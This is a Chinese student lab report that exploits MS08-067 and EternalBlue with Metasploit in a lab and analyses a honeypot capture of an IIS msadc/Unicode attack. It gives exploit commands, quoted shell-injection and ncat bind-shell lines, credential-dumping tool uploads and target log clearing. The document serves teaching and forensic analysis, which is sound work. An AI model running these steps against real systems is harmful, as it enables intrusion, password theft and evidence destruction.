20251909 2025-2026-2 《网络攻防实践》实验六
1.实践内容
1)动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
(2)取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
基础知识
- MS08-067
MS08-067是微软发布的高危远程代码执行漏洞,对应CVE-2008-4250,存在于Windows系统的Server服务中,该服务默认开启并监听445端口,漏洞本质是服务在处理特定RPC请求时出现栈缓冲区溢出,攻击者无需任何身份验证,只需向目标主机445端口构造并发送恶意数据包,就能直接触发漏洞并获得SYSTEM系统最高权限,可完全控制目标主机执行任意指令、上传木马或窃取数据,主要影响Windows 2000、Windows XP、Windows Server 2003等老旧系统,利用难度低、危害极大,也是早期内网渗透和蠕虫传播常用的高危漏洞。 - 永恒之蓝漏洞
永恒之蓝(EternalBlue,漏洞编号 MS17-010 / CVE-2017-0144)是 Windows 系统 SMBv1 协议中的高危远程代码执行漏洞,由美国国家安全局(NSA)发现,2017 年 4 月被黑客组织 “影子经纪人” 泄露,同年 5 月因WannaCry 勒索病毒全球爆发而闻名。
核心原理
漏洞源于 Windows 内核驱动(srv.sys)在处理 SMBv1 协议的文件扩展属性(FEA)时,因整数溢出导致缓冲区溢出。
计算 FEA 列表长度时,错误使用 16 位变量,长度超 65535 字节会溢出,返回极小值。
系统按错误长度分配小内存缓冲区,却写入超大恶意数据,覆盖内核内存。
攻击者无需认证,向 445 端口发恶意 SMB 包,直接在内核执行代码,获取SYSTEM 最高权限。
2 实验过程
实验一 利用ms08_067渗透win2k靶机获得权限
-
实验总体思路
在Kali终端输入msfconsole启动Metasploit渗透工具,通过search ms08_067查找对应漏洞模块并使用use exploit/windows/smb/ms08_067_netapi加载该模块,随后用show options查看所需配置,设置反向TCP载荷generic/shell_reverse_tcp,并分别配置靶机IP172.22.42.21与攻击机IP172.22.42.20,确认参数无误后执行exploit发起攻击,成功获取目标主机权限,最后在获得的Shell中执行ipconfig、net user、systeminfo等命令查看靶机网络、用户及系统信息,完成完整的MS08-067漏洞渗透测试流程。 -
实验环境
| 维度 | 攻击机(Kali Linux) | 靶机(Windows 2000) |
|---|---|---|
| IP 地址 | 172.22.42.20 | 172.22.42.21 |
| 操作系统 | Kali Linux | Windows 2000 Server/Professional(NT 5.0 内核,32 位 x86) |
| 漏洞依赖 | 依赖靶机 MS08-067 未打补丁(KB958644) | 存在 MS08-067 缓冲区溢出漏洞,未安装安全补丁 |
键入 msfconsole命令打开渗透工具

键入search ms08_067査看漏洞ms08_067的详细信息。

查看存在该漏洞的所有系统型号

我们键入use exploit/windows/smb/ms08_067_netapi来进入漏洞所在的文件。然后键入show options查看攻击该漏洞所需要的配置。

展示攻击载荷 使用默认的漏洞型号进行攻击。

键入set payload generic/shell_reverse_tcp设置载荷。



开始设置攻击主机kali与靶机win_target,
输入以下命令:
set RHOST 172.22.42.21设置靶机。键入set LHOST 172.22.42.20设置攻击机。
并输入show options展示当前设置完成的攻击参数:
可以看到:
已经在Metasploit中加载了exploit/windows/smb/ms08_067_netapi漏洞利用模块,SMB端口445、默认管道BROWSER,并使用windows/meterpreter/reverse_tcp反向TCP载荷,设置攻击机监听IP为172.22.42.20、端口4444,线程式退出,所有必填参数均已正确配置,可执行针对目标主机的MS08-067漏洞攻击,后续执行的控制命令可通过Wireshark过滤tcp.port == 4444 && ip.host == 172.22.42.21并追踪TCP流查看。

输入exploit正式开始攻击,如下图所示我们成功拿到了主机的权限!


如上图我们分别键入命令ipconfig, net user, systeminfo等查看用户组信息以及系统信息
实验二 解码一次成功的NT系统破解攻击
1.攻击者使用了什么破解工具进行攻击
将教学提供的日志文件snort-0204@0117.log拖入wireshark进行分析

输入命令ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106进行过滤,过滤后可以看到存在TCP和HTTP协议数据包

在117HTTP数据包中可以看到在Unicode编码中对应符号/的字符%C0%AF,分析推测这是攻击者在利用Unicode攻击访问boot.ini文件


在140数据包中可以看到攻击者在尝试获得msadcs.dll文件 这是针对 IIS RDS 组件缓冲区溢出漏洞的攻击行为,最常用的利用工具是 Metasploit 的 msadc 模块,以及早期的开源 exploit 脚本。

追踪到149数据包可以看到攻击者输入了sql语句

提取出进行分析:
select from customers where city='|shell("cmd /c echo werd >> c:\fun")|driver={Microsoft Access driver (*.mdb)};dbp=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb;
# select为sql命令;然后输入shell指令
# "cmd /c echo werd >> c:\fun"是在取得系统的访问权限
# driver={Microsoft Access driver (*.mdb)}是在使用Microsoft Access driver (*.mdb)的驱动
# dbp=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb是在使用这个dbp文件
攻击者在 SQL 查询中插入 |shell("cmd /c echo werd >> c:\fun"),利用数据库的 shell 扩展,执行系统命令,在目标主机 C:\fun 文件中写入内容,实现权限控制。
这种攻击常见于老旧的 ASP + Access 数据库系统,通过 SQL 注入突破数据库权限,执行系统命令。
2、攻击者如何使用这个破解工具进入并控制了系统
通过命令ip.addr == 213.116.251.162 && http过滤http数据包,观察可以发现,从每一次攻击的时间都很短,推测攻击者先将指令写入shell脚本,再将这个脚本与msadc.pl攻击脚本一起执行。

通过命令ip.addr == 213.116.251.162 && ftp过滤ftp数据包,追踪可以看到攻击者在通过ftp传输文件,如下图所示,分别是nc.exe,pdump.exe,samdump.dll,,这里是在进行口令破解和提权,pdump.exe和samdump.dll是配合使用破解口令的常见工具。nc.exe则是一个远程入侵的后门程序,便于下次攻击。

3、攻击者获得系统访问权限后做了什么
继续查看http包,发现攻击者在连接6969端口,因此利用命令tcp.port == 6969来过滤

GET /msadc/..%C0%AF../..%C0%AF../..%C0%AF../program%20files/.../cmd.exe?c+ncat+-p+6969+-e+cmd1.exe HTTP/1.1
这是一个正向 Shell 连接,攻击者试图在目标服务器打开 6969 端口,直接接管系统控制台。
具体原理如下:
攻击者利用 msadc 目录的路径遍历漏洞(..%C0%AF../)。
强行调用系统命令 cmd.exe。
传入参数(ncat 反弹),尝试在目标服务器上建立一个监听端口并获取交互式 Shell。
我们再次追踪TCP流可以看到攻击者输入的相关命令:


| 操作阶段 | 执行命令 / 行为 | 系统返回结果 | 攻击意图与行为分析 |
|---|---|---|---|
| 文件处理 | type yay2.txt | There are no entries in the list. | 试探性读取文件,确认文件是否存在及内容,文件为空或无有效列表信息 |
| 文件处理 | del yay2.txt | (无报错) | 删除已读文件,进行痕迹清理,保持目标系统目录整洁 |
| 系统枚举 | net session >> yay3.txt | System error 5 has occurred. | 权限不足:尝试导出当前 SMB 会话列表,但因权限不够 (Error 5) 被拦截,说明当前可能仅为普通用户 / 受限权限 |
| 目录探索 | cd exploits | The system cannot find the path specified. | 切换至预设漏洞目录,目标目录不存在,说明漏洞利用文件未上传或路径错误 |
| 目录枚举 | dir | 列出 C:\ 根目录文件列表 | 侦查目标系统文件结构,寻找可利用目录 (如 InetPub) 或存放漏洞利用文件的位置 |
攻击者进入靶机之后查看了系统文件,创建会话写入文件yay.txt
- 4 如何防止这样的攻击?
- 及时安装 Windows 与 IIS 安全补丁,修复 Unicode 路径穿越、MSADC 等高危漏洞。
- 禁用不必要的 Web 扩展,删除或加固
msadc等危险目录权限。 - 关闭危险 SMB 端口与不必要的 FTP 服务,严格限制文件上传与执行权限。
- 部署 WAF/IDS/IPS,拦截含
%C0%AF、SQL 注入、cmd.exe等恶意特征的请求。 - 开启系统日志与网络审计,及时发现异常命令执行与文件传输行为。
- 5 攻击者是否察觉到自己正在访问一个蜜罐主机?
察觉到,如下图所示:攻击者echo写入靶机文件以下内容:“i have seen till now:”以及“best honeypot......”至rfp.txt文件中。


实验三 网络攻防实践
实验思路:
我们使用win7中广泛存在的经典漏洞永恒之蓝(MS17-010)——未修补的 SMB 漏洞并启用了危险的 SMBv1 协议;
利用 Metasploit 加载 ms17_010_eternalblue 模块,配置攻击机回连地址与端口,通过发送恶意的 PeekNamedPipe 请求触发内核漏洞,在目标系统上执行 Shellcode 并建立反向 TCP 连接;攻击者成功获取 Meterpreter 会话后,通过该会话执行 whoami、dir 等命令进行权限确认与系统枚举,尝试创建或删除临时文件清理痕迹,并利用 ncat 等工具尝试建立持久化控制通道,以实现对目标主机的远程控制与后续渗透操作。
| 角色 | 设备类型 | IP 地址 | 子网掩码 | 默认网关 | 网卡 / 接口 |
|---|---|---|---|---|---|
| 攻击机 | Kali Linux | 172.22.42.20 | 255.255.240.0 | - | eth0 |
| 靶机 | Windows 7 | 172.22.41.0 | 255.255.240.0 | 172.22.32.1 | 本地连接 |
攻击方施为乐

防守方 王熙

攻击流程利用msf与实验一类似,
# 设置靶机IP(Win7 地址)
set RHOSTS ip
# 设置靶机SMB端口(默认445,无需修改)
set RPORT 445
# 设置攻击机回连IP(Kali eth0 地址)
set LHOST 172.
# (64位Win7必选)指定64位系统Payload,避免架构不匹配
set PAYLOAD windows/x64/meterpreter/reverse_tcp


我们拿到shell以后进行如下操作,对靶机进行截屏以及创建文件等操作。
存入下图路径


下图可以查看我们在靶机中创建的文件以及内容



kali中键入指令清楚攻击日志,前后效果如下俩图所示:


可以看到win7os日志完全清楚!
打开wireshark可以清楚看到流量信息:

| 包号 | 源 → 目的 | 协议 / 命令 | 作用 |
|---|---|---|---|
| 421 | 172.22.42.20 → 172.22.41.0 | SMB Negotiate Protocol Request | 攻击机发起 SMB 协议协商,强制使用 SMBv1(永恒之蓝的必要前提) |
| 422 | 172.22.41.0 → 172.22.42.20 | SMB Negotiate Protocol Response | 靶机确认支持 SMBv1,协商完成 |
| 423 | 172.22.42.20 → 172.22.41.0 | TCP ACK | 攻击机确认协商响应 |
| 424 | 172.22.42.20 → 172.22.41.0 | SMB Session Setup AndX Request | 攻击机发起 SMB 会话建立请求(通常为匿名 / 空凭证,攻击常用方式) |
| 425 | 172.22.41.0 → 172.22.42.20 | SMB Session Setup AndX Response | 靶机同意会话建立,完成 SMB 会话初始化 |
| 426 | 172.22.42.20 → 172.22.41.0 | TCP FIN, ACK | 攻击机主动发起连接关闭请求 |
4.实践总结
一次有趣的渗透实验,msf作为集成了众多漏洞的渗透工具运用广泛 熟练使用是必备技能。不过了解smb协议漏洞等底层原理至关重要
wireshark流量的人工分析是很好的锻炼途径,掌握对数据流的分析可以更好的解读各类攻击手段。
5.实验中遇到的问题
- 问题一 开始时渗透winxp主机(winattacker)无效
- 解决方案 原因是该机型虽属问题机型,不过已经打了补丁 改对win2000进行渗透
![image]()
- 问题二 对win2000利用永恒之蓝失败
- 解决方案 从日志 Windows 5.0 x86 (32-bit) 可知,这是 Windows 2000 (NT 5.0),属于 32 位 (x86) 系统。
![image]()
MS17-010 模块特性:
Metasploit 中 ms17_010_eternalblue 模块,默认只编译了 64 位 (x64) 的漏洞利用代码。
它完全不支持 32 位的 Win2000/XP。 - 解决方案:下载win7进行实验。
参考资料
1·《网络攻防实践》
2.https://www.cnblogs.com/jzssuanfa/p/19378988


浙公网安备 33010602011771号